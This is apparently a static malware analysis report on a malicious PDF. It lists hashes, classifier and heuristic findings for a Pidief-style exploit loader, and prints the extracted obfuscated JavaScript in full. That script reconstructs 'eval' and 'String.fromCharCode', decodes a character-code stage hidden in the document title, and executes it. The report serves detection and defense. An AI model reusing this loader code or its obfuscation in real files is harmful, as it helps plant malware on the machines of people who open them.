Malicious PDF — malware analysis report

Static analysis result for SHA-256 d813d7b21687ab06…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 5bff97826c1685dd8cda350c117df827 SHA-1: 1f1ccca0cf8af9d28625643d547a8f4afa86b69c SHA-256: d813d7b21687ab06d33a4811ffa920f2274d7e14f0ac03619d309cb93c24b147
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB03A 619 bytes
SHA-256: 672d45984c8c20e5949fb8cd42fddc77d851fcda668b9426ac4535a22166b3c9
Preview script
First 1,000 lines of the extracted script
admj='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w","v",'r'];
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
kklme=e('ti'+'tle');
s=kklme.substr(t.length + 8,3)+'str';
q=kklme[s](1,(1,9));
plovv=e('S'+'tring.fro'+q);
q=kklme[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	abgs = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	admj += plovv(abgs);
}
e(admj);